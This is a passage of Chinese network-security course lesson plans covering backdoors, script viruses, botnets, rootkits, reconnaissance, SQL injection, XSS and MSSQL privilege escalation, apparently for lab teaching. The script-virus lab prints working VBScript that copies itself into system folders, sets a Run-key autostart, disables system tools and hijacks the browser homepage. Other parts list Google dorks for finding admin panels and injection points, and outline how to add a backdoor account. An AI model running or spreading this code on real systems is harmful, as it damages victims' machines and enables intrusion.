ǒng)4、提供惡意代碼植入手段4.2后門的分類根據(jù)實現(xiàn)方式不同，可將后門分為網(wǎng)頁后門、線程插入后門、擴展后門、C/S后門和賬戶后門幾種類型。4.3后門的防范方法由于后門隱藏包括應(yīng)用級隱藏和內(nèi)核級隱藏，所以其檢測和防御方法也分為應(yīng)用級和內(nèi)核級2種類型。后門的應(yīng)用級檢測和防御后門的內(nèi)核級檢測和防御教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年11月13日第11周授課時數(shù)3授課章節(jié)名稱實驗：腳本病毒編寫教學目的與要求1.了解腳本與腳本病毒的基本概念。2.了解常見腳本病毒的工作原理、種類及特點。3.了解簡單腳本病毒的編寫方法。4.了解常見腳本工具的使用方法。教學重點或教學難點重點：了解腳本病毒編寫、實施攻擊的過程。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計1情境設(shè)置目標：編寫惡意腳本，破壞目標系統(tǒng)的右鍵快捷鍵功能，并且不讓目標系統(tǒng)用戶進行注冊表管理。方法：在虛擬機中，使用的VBS腳本病毒生成器軟件“病毒制造機”，編寫腳本病毒，并觀察感染后的系統(tǒng)變化情況。腳本病毒的書寫形式靈活，容易產(chǎn)生變種。目前網(wǎng)絡(luò)上存在的腳本病毒絕大多數(shù)都用VBScript和JavaScript編寫。2實驗過程2.1感染病毒并觀察感染后的系統(tǒng)變化情況。主要操作步驟如下：Step1：將生成的腳本病毒文件置于虛擬機中，雙擊使之運行。然后，為保證完整準確地查看病毒的感染效果，可重啟已經(jīng)感染了病毒的虛擬機系統(tǒng)。之后，根據(jù)病毒文件生成時的設(shè)置，觀察系統(tǒng)感染了病毒后的表現(xiàn)情況。Step2：觀察系統(tǒng)文件夾下的異常變化，可以發(fā)現(xiàn)，在C:\Windows、C:\Windows\system32下多了不明來源的腳本文件。Step3：檢查各項系統(tǒng)功能，發(fā)現(xiàn)右鍵快捷菜單功能被禁止。在“開始”菜單中，“運行”命令被去除，利用快捷鍵Win+R（“運行”的快捷鍵），會彈出報錯信息（如圖1）。在C:\windows下運行注冊表管理器程序regedit.exe，同樣也會彈出報錯信息，提示功能被禁（如圖2）。圖1系統(tǒng)報錯信息圖2注冊表編輯器已禁用的提示信息Step4：檢查IE瀏覽器的各項功能，查看異常，會發(fā)現(xiàn)IE瀏覽器主頁被惡意篡改。依次單擊“菜單欄→工具→Internet

選項”，發(fā)現(xiàn)無法正常打開Internet

選項。另外，IE瀏覽器的右鍵快捷菜單功能也被禁用。2.2腳本病毒代碼分析。分析腳本病毒的源碼，理解各條語句的含義。用“記事本”等文本編輯工具打開病毒腳本，查看其代碼。代碼內(nèi)容摘錄如下：1

OnErrorResumeNext2

Setfs=CreateObject("Scripting.FileSystemObject")3

Setdir1=fs.GetSpecialFolder(0)4

Setdir2=fs.GetSpecialFolder(1)5

Setso=CreateObject("Scripting.FileSystemObject")6

dimr7

Setr=CreateObject("Wscript.Shell")8

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")9

so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")10

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\StartMenu\Programs\啟動\Win32system.vbs")11

r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"12

r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"13

r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"14

r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"15

r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"16

r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"17

r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"18

r.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\StartPage",【解釋】第1行語句的含義是啟用錯誤處理程序，目的在于為了當程序發(fā)生錯誤的時候忽略錯誤而繼續(xù)向下執(zhí)行，從而不要打斷程序的執(zhí)行流程，保證后續(xù)的代碼可以繼續(xù)執(zhí)行。第3行和第4行語句中，使用了GetSpecialFolder(folderspec)函數(shù)，當參數(shù)folderspec等于0時，函數(shù)返回值為Windows文件夾（一般為C:\Windows或C:\WINNT）；當參數(shù)folderspec等于1時，函數(shù)返回值為System文件夾（常見于C:\Windows\system32）。第8行至第10行語句的作用依次為復制病毒文件夾到Windows文件夾、system32文件夾、啟動菜單。第11行至第15行語句的作用依次為禁止“運行”菜單、禁止使用注冊表編輯器、禁止注銷菜單、開機自動運行以及禁止右鍵快捷菜單。第16行至第18行語句的作用依次為禁用IE瀏覽器右鍵菜單、禁止Internet選項、設(shè)置默認主頁為。

教案（課時授課計劃）教師姓名授課班級授課形式理論授課日期年11月18日第12周授課時數(shù)3授課章節(jié)名稱僵尸網(wǎng)絡(luò)以及Rootkit教學目的與要求1.了解僵尸網(wǎng)絡(luò)結(jié)構(gòu)、組成及各模塊具體功能2.了解Rootkit工具集實施攻擊的幾種方式教學重點或教學難點Rootkit攻擊具體實施過程更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)簡述僵尸網(wǎng)絡(luò)的工作機制，并分析其防御方法。通過對Rootkit攻擊技術(shù)的介紹，簡述其檢測和防御方法。課后體會授課主要內(nèi)容或板書設(shè)計1僵尸網(wǎng)絡(luò)的概念僵尸網(wǎng)絡(luò)融合了傳統(tǒng)惡意代碼的優(yōu)勢，實現(xiàn)了控制功能與攻擊任務(wù)的分離，用作命令與控制的C&C服務(wù)器的搭建較為容易。1.1僵尸網(wǎng)絡(luò)結(jié)構(gòu)僵尸程序（bot）僵尸網(wǎng)絡(luò)（botnet）攻擊者（botmaster）命令與控制（commandandcontrol，C&C）1.2僵尸網(wǎng)絡(luò)結(jié)構(gòu)組成及功能在僵尸網(wǎng)絡(luò)中，根據(jù)攻擊過程中所發(fā)揮功能的不同，可以將僵尸程序的功能模塊分為主體功能模塊和輔助功能模塊兩部分。1.3僵尸網(wǎng)絡(luò)的工作機制及特點基于IRC協(xié)議的僵尸網(wǎng)絡(luò)的工作機制如圖：1.4僵尸網(wǎng)絡(luò)的防御與反制2Rootkit2.1概念Rootkit是攻擊者使用的一個軟件工具集，用于獲得對系統(tǒng)的非授權(quán)訪問，為攻擊者獲取敏感數(shù)據(jù)提供特殊權(quán)限，并隱藏自己的存在，而且根據(jù)需要允許安裝其他惡意軟件，是能夠獲得系統(tǒng)特權(quán)并能夠控制整個系統(tǒng)的工具集。例：以Windows為例具體進行討論：要存在能夠掛鉤的地方都可以實現(xiàn)基于掛鉤的Rootkit攻擊。從理論上講，不管是用戶模式還是內(nèi)核模式，只要存在能夠掛鉤的地方都可以實現(xiàn)基于掛鉤的Rootkit攻擊。1、掛鉤Windows環(huán)境下主要有兩種實現(xiàn)API函數(shù)掛鉤的操作：一種是通過修改PE（PortableExecutable，可移植執(zhí)行體）文件的IAT（ImportAddressTable，輸入地址表）使API函數(shù)地址重定向，該方式稱為IATHooking（基于IAT表的掛鉤），圖1為IATHooking工作過程。圖1一種是篡改API函數(shù)地址中的機器碼，即用無條件跳轉(zhuǎn)指令JMP的機器碼來替換API函數(shù)入口地址中的機器碼，該方式稱為InlineHooking，圖2為InlineHooking的工作過程。圖22、DKOM技術(shù)DKOM（DirectKernelObjectManipulation，直接內(nèi)核對象操作）Rootkit攻擊與掛鉤攻擊區(qū)別：API函數(shù)掛鉤攻擊和描述符表掛鉤攻擊都是利用被攻擊對象的工作機制，通過修改程序執(zhí)行流程或重定向指令等方式來實現(xiàn)Rootkit攻擊；DKOMRootkit攻擊技術(shù)通過直接修改Windows系統(tǒng)的設(shè)備驅(qū)動程序或可加載內(nèi)核模塊，以實現(xiàn)進程、文件和網(wǎng)絡(luò)連接的隱藏和進程提權(quán)。3、虛擬化技術(shù)2.2Rootkit檢測方法Rootkit的檢測方法可分為基于軟件的檢測法和基于硬件的檢測法2種類型。1、基于軟件的檢測法基于軟件的檢測法分為行為檢測法、完整性檢測法、執(zhí)行時間檢測法、執(zhí)行路徑檢測性和差異檢測法幾種類型。2、基于硬件的檢測法2.3Rootkit防范技術(shù)1、固件級防御2、內(nèi)核級防御3、用戶級防御4、虛擬級防御教案（課時授課計劃）教師姓名授課班級授課形式實驗授課日期年11月20日第12周授課時數(shù)3授課章節(jié)名稱惡意網(wǎng)頁攻擊教學目的與要求1.腳本的特征和編寫方法。2.網(wǎng)頁病毒的特征和攻擊方式。3.網(wǎng)頁病毒的安全防范方法。教學重點或教學難點重點：網(wǎng)頁病毒觸發(fā)的過程。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計1情境設(shè)置目標：編寫網(wǎng)頁惡意腳本，通過誘使受騙用戶來訪問該網(wǎng)頁，進而在目標系統(tǒng)中執(zhí)行該網(wǎng)頁腳本并寫入惡意文件。方法：在虛擬機中，編寫網(wǎng)頁腳本病毒，并觀察執(zhí)行腳本前后系統(tǒng)變化情況。網(wǎng)頁病毒。網(wǎng)頁病毒是利用網(wǎng)頁進行攻擊的一類惡意代碼。根據(jù)網(wǎng)頁病毒能夠以各種方式自動執(zhí)行的特性，而且其根源是它完全不受用戶的控制。當用戶一旦瀏覽了含有惡意代碼的網(wǎng)頁，惡意代碼就會自動執(zhí)行，給用戶端計算機帶來不同程度的破壞或影響。嘗試通過以下的形式誘使用戶來訪問：構(gòu)造容易記憶的網(wǎng)頁名稱利用瀏覽者的獵奇或貪婪心理無意識的瀏覽者2實驗過程主要操作步驟如下：Step1：以administrator身份登錄實用中的計算機操作系統(tǒng)。用“記事本”等文本編輯工具打開“創(chuàng)建.txt”文件，將顯示如圖1所示的執(zhí)行腳本的內(nèi)容。圖1Step2：打開C盤，查看C盤下是否有“test.htm”文件。修改“創(chuàng)建.txt”文件的類型為.HTM，然后單擊運行。當出現(xiàn)的提示信息時，單擊“確定”按鈕，允許阻止的內(nèi)容的運行。隨后，出現(xiàn)如圖2所示的空白顯示頁面。圖2Step3：重新查看C盤，就會發(fā)現(xiàn)存在一個名為“test.htm”的文件，如圖3所示。圖3說明通過在瀏覽器中運行“創(chuàng)建.htm”文件后，在C盤下自動創(chuàng)建了一個名為“test.htm”的文件。Step4：打開D:\tools文件夾中的“修改.txt”文件，此文件主要對前面已經(jīng)創(chuàng)建的“test.htm”文件的內(nèi)容進行修改，“修改.txt”文件的內(nèi)容如圖4所示。圖4Step5：修改“修改.txt”文件的類型為.HTM，然后單擊該文件使之運行，當出現(xiàn)類似安全提示信息時，選擇“允許阻止的內(nèi)容”，并在出現(xiàn)的對話框中直接單擊“是”，允許該文件在瀏覽器中打開。Step6：當“修改.htm”運行結(jié)束后，再運行C盤中的“test.htm”文件，將出現(xiàn)如圖5所示的頁面，說明修改文件內(nèi)容成功。圖5（詳細步驟參見實驗報告內(nèi)容）教案（課時授課計劃）教師姓名授課班級授課形式理論授課日期年11月25日第13周授課時數(shù)3授課章節(jié)名稱Web應(yīng)用的結(jié)構(gòu)、針對Web服務(wù)器的信息收集教學目的與要求1.了解僵尸網(wǎng)絡(luò)結(jié)構(gòu)、組成及各模塊具體功能2.了解Rootkit工具集實施攻擊的幾種方式教學重點或教學難點Rootkit攻擊具體實施過程更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)簡述僵尸網(wǎng)絡(luò)的工作機制，并分析其防御方法。通過對Rootkit攻擊技術(shù)的介紹，簡述其檢測和防御方法。課后體會授課主要內(nèi)容或板書設(shè)計1Web服務(wù)器的信息收集1.1收集的信息內(nèi)容針對Web服務(wù)器的攻擊，可收集的信息主要包括以下幾類：地址信息。包括：服務(wù)器的IP地址，DNS域名，打開的端口號以及對應(yīng)的服務(wù)進程等。系統(tǒng)信息。包括：操作系統(tǒng)類型及版本，Web服務(wù)器軟件類型及版本，Web應(yīng)用程序及版本，Web應(yīng)用程序的開發(fā)工具及版本，Web應(yīng)用程序架構(gòu)（是靜態(tài)HTML頁面，還是PHP、APS、JSP動態(tài)頁面等），數(shù)據(jù)庫管理系統(tǒng)的類型及版本等賬戶信息。包括：操作系統(tǒng)的登錄賬戶，數(shù)據(jù)庫管理系統(tǒng)的賬戶，應(yīng)用系統(tǒng)的管理賬戶等。配置信息。包括：網(wǎng)絡(luò)拓撲結(jié)構(gòu)，地址映射表（當Web服務(wù)器位于內(nèi)部局域網(wǎng)中使用私有IP地址時），服務(wù)配置信息，共享資源，防火墻類型及配置信息，身份認證與訪問控制方式，加密及密碼管理機制等。其他信息。包括：安全漏洞（軟件漏洞和管理漏洞），DNS注冊信息，網(wǎng)絡(luò)管理員聯(lián)系方式等。1.2網(wǎng)絡(luò)掃描先通過“主機掃描”發(fā)現(xiàn)目標網(wǎng)絡(luò)中存在的活躍主機，然后通過“端口掃描”找出活躍主機上所開放的端口及對應(yīng)的網(wǎng)絡(luò)服務(wù)，接著通過“系統(tǒng)類型探測”確定攻擊主機的操作系統(tǒng)類型及版本號，最后通過“漏洞掃描”找到攻擊主機上存在的安全漏洞。1、主機掃描基于ICMP協(xié)議的掃描方法甚至TCP協(xié)議的主機掃描方法基于UDP協(xié)議的主機掃描方法2、端口掃描連接掃描SYN掃描UDP端口掃描3、系統(tǒng)類型探測操作系統(tǒng)類型探測網(wǎng)絡(luò)服務(wù)類型探測1.3漏洞掃描1、漏洞掃描的原理2、漏洞掃描器安全漏洞數(shù)據(jù)庫掃描引擎模塊用戶配置控制臺掃描進程控制模塊結(jié)果存儲與報告生成模塊1.4針對Web服務(wù)器信息收集的防范方法2Rootkit2.1概念Rootkit是攻擊者使用的一個軟件工具集，用于獲得對系統(tǒng)的非授權(quán)訪問，為攻擊者獲取敏感數(shù)據(jù)提供特殊權(quán)限，并隱藏自己的存在，而且根據(jù)需要允許安裝其他惡意軟件，是能夠獲得系統(tǒng)特權(quán)并能夠控制整個系統(tǒng)的工具集。例：以Windows為例具體進行討論：要存在能夠掛鉤的地方都可以實現(xiàn)基于掛鉤的Rootkit攻擊。從理論上講，不管是用戶模式還是內(nèi)核模式，只要存在能夠掛鉤的地方都可以實現(xiàn)基于掛鉤的Rootkit攻擊。1、掛鉤Windows環(huán)境下主要有兩種實現(xiàn)API函數(shù)掛鉤的操作：一種是通過修改PE（PortableExecutable，可移植執(zhí)行體）文件的IAT（ImportAddressTable，輸入地址表）使API函數(shù)地址重定向，該方式稱為IATHoo教案（課時授課計劃）教師姓名授課班級授課形式實驗授課日期年11月27日第13周授課時數(shù)3授課章節(jié)名稱信息搜集、漏洞掃描以及網(wǎng)絡(luò)嗅探教學目的與要求1.掌握信息收集的各類工具使用2.掌握漏洞掃描的各類工具使用3.綜合以上工具，獲取滲透攻擊前期的信息收集工作教學重點或教學難點重點：各個工具的結(jié)合使用，收集有價值可利用的信息。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)對常見的Dedecms、Discuz！進行漏洞信息收集在互聯(lián)網(wǎng)上收集自己的各類信息課后體會授課主要內(nèi)容或板書設(shè)計1情境設(shè)置目標：某黑客想攻破某招生網(wǎng)站，獲取考生信息，現(xiàn)針對該招生web站點，收集其相關(guān)信息：域名、ip地址、子域名、網(wǎng)站指紋、系統(tǒng)端口、系統(tǒng)漏洞、內(nèi)網(wǎng)拓撲。方法：通過信息收集相關(guān)工具，依次對以上信息進行收集。2信息收集實驗2.1利用搜索引擎收集信息除了Googlehacking技術(shù)外，其他現(xiàn)階段的bing、百度、搜狗、360都有相應(yīng)的高級搜索功能。其實利用的就是搜索引擎對構(gòu)造特殊關(guān)鍵，進行快速全面的挖掘出有價值的信息。例：利用搜索引擎提供的語法，后面加上filetype:pdf那么這個語法就是搜索以googlehacking為標題的pdf文件。這時候搜索引擎返回的結(jié)果中含有大量的pdf文件。常用GoogleHacking語法：intext：（僅對Google有效）把網(wǎng)頁的正文內(nèi)容中的某個字符作為搜索的條件intitle：把網(wǎng)頁標題中的某個字符作為搜索的條件cache：搜索搜索引擎里關(guān)于某些內(nèi)容的緩存，可能會在過期內(nèi)容中發(fā)現(xiàn)有價值的信息filetype：指定一個格式類型的文件作為搜索對象inurl：搜索包含指定字符的URLsite：在指定的站點搜索相關(guān)內(nèi)容典型用法：找管理后臺地址site:intext:管理|后臺|登陸|用戶名|密碼|系統(tǒng)|賬號site:inurl:login/admin/manager/admin_login/systemsite:intitle:管理|后臺|登陸找上傳類漏洞：site:inurl:filesite:inurl:upload找注入頁面：site:inurl:php?id=site:inurl:asp?id=找編輯器頁面：site:inurl:webeditor2.2通過目標站點收集信息主要目標有：目標站點使用的技術(shù)（頁面、數(shù)據(jù)庫等）目標站點的whois信息，是否可能存在旁站等挖掘目標站點可能使用的網(wǎng)絡(luò)安全配置挖掘目標企業(yè)機構(gòu)可能存在的管理架構(gòu)使用站長工具對目標站點進行初步掃描其他與目標站點相關(guān)的信息使用站長工具對目標站點進行信息收集：IP查詢同IP網(wǎng)站查詢WHOIS查詢和反查子域名查詢識別服務(wù)器類型、頁面類型DNS信息查詢網(wǎng)站安全檢測端口掃描2.3漏洞信息收集信息漏洞平臺是很好的信息收集平臺，能夠通過公開的漏洞報告了解目標的各項信息，常用的漏洞平臺如下。CVE漏洞庫360補天漏洞平臺Exploit-DBGHDB中國國家信息安全漏洞庫國家信息安全漏洞共享平臺2.4工具收集信息常用的DOS命令：ping：網(wǎng)絡(luò)連通測試arp：顯示和修改地址解析協(xié)議tracert：顯示路由nslookup：域名系統(tǒng)查詢telnet：測試是否開啟遠程連接netstat：查看本地機器所有開放端口ftp：測試開放了ftp的遠程主機net：最重要的命令，需要透徹掌握每一個子命令常用的掃描工具：AWVSAppScanZenmapLayer御劍DirbusterwwwsacnMaltegoShodan/Zoomeyewhatweb使用瀏覽器內(nèi)置功能和插件：常用的瀏覽器有GoogleChrome/Firefox/IE/遨游，以FireFox為例，有如下插件：showIP插件HttpFox插件CookieWatcher插件HeaderSpy插件Wappalyzer插件FlagFox插件DomainDetails插件Kali下的工具數(shù)百種，安全工具做了很好的分類。信息收集分類下還有子分類，工具比較多，這邊做以下幾點介紹。點擊DNSenum，自動彈出當前的參數(shù)說明。dnsenum--enum，結(jié)果將主機地址、dns信息、郵件地址等進行羅列。點擊fierce；fierce–dns輸入。識別活躍的主機、查看打開的端口、系統(tǒng)指紋識別、服務(wù)的指紋識別：Nmaphping3（也可以用作壓力測試）2.5網(wǎng)絡(luò)社交信息收集社交網(wǎng)站特點：清晰暴露個人關(guān)系網(wǎng)絡(luò)包含大量個人信息具備多種工作、生活服務(wù)功能身份認證機制并非完美記錄大量個人行為特征3漏洞掃描實驗本小節(jié)通過對w3af工具使用方法的學習，能夠掌握服務(wù)器安全漏洞的掃描和審計方法。Step1：運行攻擊機。運行cd/pentest/web/w3af命令，切換到w3af工作目錄，然后使用ls命令查看當前目錄下的文件。Step2：使用命令traget命令進入target目錄，設(shè)置目標地址target為08，為下一步進行掃描進行準備，如圖5-44所示。Step3：使用back命令返回到主目錄w3af>>>，然后使用命令start開始掃描.使用exit命令退出，然后使用ls命令查看是否有前面創(chuàng)建的testreport.html文件。Step4：利用瀏覽器（本實驗為Firefox）打開testreport.html文件，顯示所示的信息。（詳細步驟參見實驗報告內(nèi)容）教案（課時授課計劃）教師姓名授課班級授課形式講授授課日期年12月2日第14周授課時數(shù)3授課章節(jié)名稱第五章Web服務(wù)器的攻防教學目的與要求了解Web瀏覽器存在的問題，與之相對應(yīng)進行的攻防教學重點或教學難點難點：SQL注入與XSS漏洞的攻擊思想更新、補充、刪節(jié)內(nèi)容使用教具或手段課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計第5章Web服務(wù)器的攻防5.4Web應(yīng)用程序的攻防Web應(yīng)用程序安全威脅根據(jù)Web應(yīng)用所受到的威脅、攻擊的共同特征分類：SQL注入漏洞SQL注入攻擊示意圖SQL注入威脅表現(xiàn)形式可以體現(xiàn)為以下幾點：繞過認證，獲得非法權(quán)限猜解后臺數(shù)據(jù)庫全部的信息注入可以借助數(shù)據(jù)庫的存儲過程進行提權(quán)等操作SQL注入攻擊的典型手段判斷應(yīng)用程序是否存在注入漏洞收集信息、并判斷數(shù)據(jù)庫類型根據(jù)注入?yún)?shù)類型，重構(gòu)SQL語句的原貌猜解表名、字段名獲取賬戶信息、攻擊web或為下一步攻擊做準備SQL注入攻擊的原理SQL注入攻擊過程（1）尋找注入點最常見的SQL注入點的判斷方法是在動態(tài)網(wǎng)頁中尋找如下形式的鏈接： http://Website/**.asp?xx=abc http://Website/**.php?xx=abc http://Website/**.jsp?xx=abc http://Website/**.aspx?xx=abc（2）探測后臺數(shù)據(jù)庫的類型利用Web應(yīng)用程序的開發(fā)語言來猜測后臺數(shù)據(jù)庫的類型；借助數(shù)據(jù)庫的一些特征來探測后臺數(shù)據(jù)庫的類型。（3）獲得管理員賬戶信息跨站腳本（XSS）漏洞（1）反射式XSS攻擊反射式XSS攻擊也稱為非持久性XSS攻擊或參數(shù)型XSS攻擊，是一種最常見的XSS攻擊類型，主要用于將惡意腳本附加到URL地址的參數(shù)中，如：http://WebSite/home.php?id=<script>alert(/xss/)</script>。反射式XSS攻擊實現(xiàn)過程：攻擊者發(fā)現(xiàn)存在XSS安全漏洞網(wǎng)頁（URL）后，根據(jù)輸出點的環(huán)境構(gòu)造XSS攻擊代碼并進行編碼；然后通過特定手段(如發(fā)送電子郵件)發(fā)送給受害者，誘使受害者去訪問一個包含惡意代碼的URL；當受害者點擊這個經(jīng)過專門設(shè)計的URL鏈接后，攻擊代碼會直接在受害者的瀏覽器上解析并執(zhí)行。（2）存儲式XSS攻擊存儲式XSS攻擊的攻擊代碼持久性地保存在Web服務(wù)器中，不需要用戶點擊特定的URL就能夠執(zhí)行跨站腳本，并在用戶端執(zhí)行惡意代碼；利用存儲式XSS漏洞可以編寫危害性更大的XSS蠕蟲，XSS蠕蟲會直接影響到網(wǎng)站的所有用戶，當一個地方出現(xiàn)XSS漏洞時，相同站點下的所有用戶都可能被攻擊。（3）基于DOM的XSS攻擊5.5Web服務(wù)器軟件的攻防Apache攻防Apache安全漏洞分析：與其他服務(wù)器軟件一樣，Apache同樣也因出現(xiàn)一些高危安全漏洞導致系統(tǒng)服務(wù)出現(xiàn)安全問題，但通過對近年來發(fā)生的大量安全漏洞的統(tǒng)計分析，Apache的高危漏洞主要集中在Apache模塊（ApacheModules），而非Apache核心程序。這是因為Apache核心程序的設(shè)計是非常安全的，但大量的官方和非官方模塊的出現(xiàn)，在豐富了Apache應(yīng)用功能的同時，卻帶來了大量的安全隱患。尤其在安裝了Apache后，默認安裝和啟動的模塊中存在不少的安全漏洞。Apache的防范：針對Apache管理員賬戶的防范Apache服務(wù)器配置文件Apache服務(wù)器的密碼保護IIS攻防與其他的網(wǎng)絡(luò)服務(wù)守護進程一樣，IIS同樣也面臨著緩沖區(qū)溢出、不安全代碼和指針、格式化字符串等一系列攻擊，這類攻擊是基于數(shù)據(jù)驅(qū)動安全漏洞的遠程滲透攻擊，往往能夠讓攻擊者在Web服務(wù)器上直接獲得遠程代碼的執(zhí)行權(quán)，并執(zhí)行一些操作。IIS的安全配置：（1）禁用默認網(wǎng)站（2）防止資源解析攻擊（3）正確選擇驗證方式IIS提供的4種身份驗證方式比較：（4）通過IP地址限制連接

教案（課時授課計劃）教師姓名授課班級1授課形式上機授課日期年12月4日第14周授課時數(shù)3授課章節(jié)名稱實驗XSS跨站腳本攻擊以及MSSQL提權(quán)教學目的與要求熟悉系統(tǒng)提權(quán)攻擊基本方法的基礎(chǔ)上，以MSSQL數(shù)據(jù)庫系統(tǒng)為操作對象，掌握針對MSSQL提權(quán)的實現(xiàn)方法。了解XSS漏洞的攻擊原理及相關(guān)知識，能夠進行簡單的XSS攻擊教學重點或教學難點MSSQL提權(quán)XSS跨站腳本攻擊更新、補充、刪節(jié)內(nèi)容使用教具或手段課外作業(yè)課后體會防范XSS攻擊的方法針對MSSQL提權(quán)攻擊的防范方法授課主要內(nèi)容或板書設(shè)計XSS跨站腳本攻擊以及MSSQL提權(quán)1、MSSQL提權(quán)操作情景設(shè)置目標：入侵一個系統(tǒng)，在其中設(shè)置一個后門賬戶。方法：采用字典破解方式獲得MSSQL的賬戶，當前為普通用戶，因此利用MSSQL提權(quán)至管理員賬戶，最后添加后門賬戶。實驗確認被攻擊系統(tǒng)的IP地址和SQLServer是否已經(jīng)正常啟動運行X-Scan掃描器，掃描被攻擊系統(tǒng)SQL-Server弱口令掃描參數(shù)設(shè)置設(shè)置字典使用第三方工具SQLTools工具連接到MSSQL數(shù)據(jù)庫執(zhí)行DOS命令界面，查看當前用戶權(quán)限查詢分析器連接MSSQL數(shù)據(jù)庫在查詢分析器中執(zhí)行提權(quán)代碼查看當前用戶權(quán)限使用DOS命令添加后門賬戶2、XSS跨站腳本攻擊通過XAMPP的控制臺啟動XAMPP的Apache和MySQL服務(wù)配置DVWA平臺XSS反射式攻擊反射式XSS攻擊頁面PHP源碼分析反射式XSS攻擊（頁面效果與URL信息）XSS存儲式攻擊存儲式XSS攻擊頁面PHP源碼分析反射式XSS攻擊（在Message輸入框中輸入<script>alert(/XSS/)</script>）

教案（課時授課計劃）教師姓名授課班級1授課形式講授授課日期年12月9日第15周授課時數(shù)3授課章節(jié)名稱第六章Web瀏覽器的攻防教學目的與要求了解Web瀏覽器存在的問題，與之相對應(yīng)進行的攻防教學重點或教學難點重點：了解web瀏覽器存在的問題，以及瀏覽器插件和腳本的攻防更新、補充、刪節(jié)內(nèi)容使用教具或手段課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計第六章Web瀏覽器的攻防6.1Web瀏覽器技術(shù)萬維網(wǎng)WWW應(yīng)用特點Web瀏覽器歷史國外發(fā)展歷史國內(nèi)發(fā)展歷史Web瀏覽器的安全安全性分析：B/S結(jié)構(gòu)安全分析Web瀏覽器自身安全分析擴展程序、插件等附加產(chǎn)品安全分析Web瀏覽器權(quán)限控制安全分析Web瀏覽器安全風險涉及內(nèi)容Web瀏覽器的隱私保護Web瀏覽器隱私泄露分析瀏覽器會收集用戶的上網(wǎng)行為，通過大數(shù)據(jù)分析，了解用戶的個人信息收集原因：用戶上網(wǎng)信息中蘊藏著大量的商業(yè)利益，所以一些公司和商業(yè)機構(gòu)出于自身利益會大量收集用戶的上網(wǎng)信息。Web瀏覽器還會記錄用戶的上網(wǎng)行為基于DNT的隱私泄露防范方法DNT（DoNotTrack，請勿跟蹤）是瀏覽器提供的一項禁止對用戶上網(wǎng)行為進行跟蹤的功能。利用“隱私瀏覽模式”防范隱私泄露：Web開放數(shù)據(jù)挖掘形成的安全威脅隱私數(shù)據(jù)保護分析：開放數(shù)據(jù)保護與利用是鏡子的兩面，就像隱私保護和讓渡隱私增強個性化體驗一樣，需要網(wǎng)站所屬企業(yè)、安全廠商，以及監(jiān)管第三方共同努力。而從技術(shù)角度講，網(wǎng)站的防護思路也需要轉(zhuǎn)變，比如及時檢測和避免公開數(shù)據(jù)被惡意抓取，采取技術(shù)手段強化數(shù)據(jù)安全存儲與傳輸?shù)取＿@些都將成為研究者和安全廠商未來的研究方向。6.2Web瀏覽器插件和腳本的攻防Web瀏覽器插件的攻防Web瀏覽器常用插件：常見的Web瀏覽器插件有Flash插件、RealPlayer插件、MMS插件、MIDI五線譜插件、ActiveX插件等。插件分類：根據(jù)插件在Web瀏覽器中的加載位置，可以分為工具條（Toolbar）、瀏覽器輔助（BHO）、搜索掛接（URLSearchhook）和下載ActiveX等方式。常見插件介紹插件帶來的風險分析腳本的攻防腳本病毒介紹：腳本病毒的防范方法：腳本病毒的檢測與防范思路與對傳統(tǒng)病毒的檢測與防范方法基本相同。傳統(tǒng)的病毒檢測方法包括特征代碼法、校驗和法、行為監(jiān)測法、軟件模擬法等：特征代碼法提取病毒的某一小段特征代碼進行識別，所以對未知病毒幾乎無法預測，另外新增病毒的數(shù)量在不斷加大的情況下，病毒特征代碼的數(shù)量也在加大，會影響檢測速度；校驗和法是對文件作校驗和，并將其保存，一旦校驗和改變，就視為異常，這種檢測方法依賴文件長度和內(nèi)容，預警過于敏感容易產(chǎn)生誤報；行為監(jiān)測法從理論上講可以監(jiān)測到未知病毒，但是實現(xiàn)復雜，速度較低。6.3針對Web瀏覽器Cookie的攻防Cookie介紹Cookie產(chǎn)生背景Cookie的發(fā)展歷史Cookie的功能及應(yīng)用Cookie的組成及工作原理Cookie的工作機制2）由Web客戶端生成的Cookie格式由客戶端生成的CookieHeader由“NAME=VALUE”對組成，其格式為： 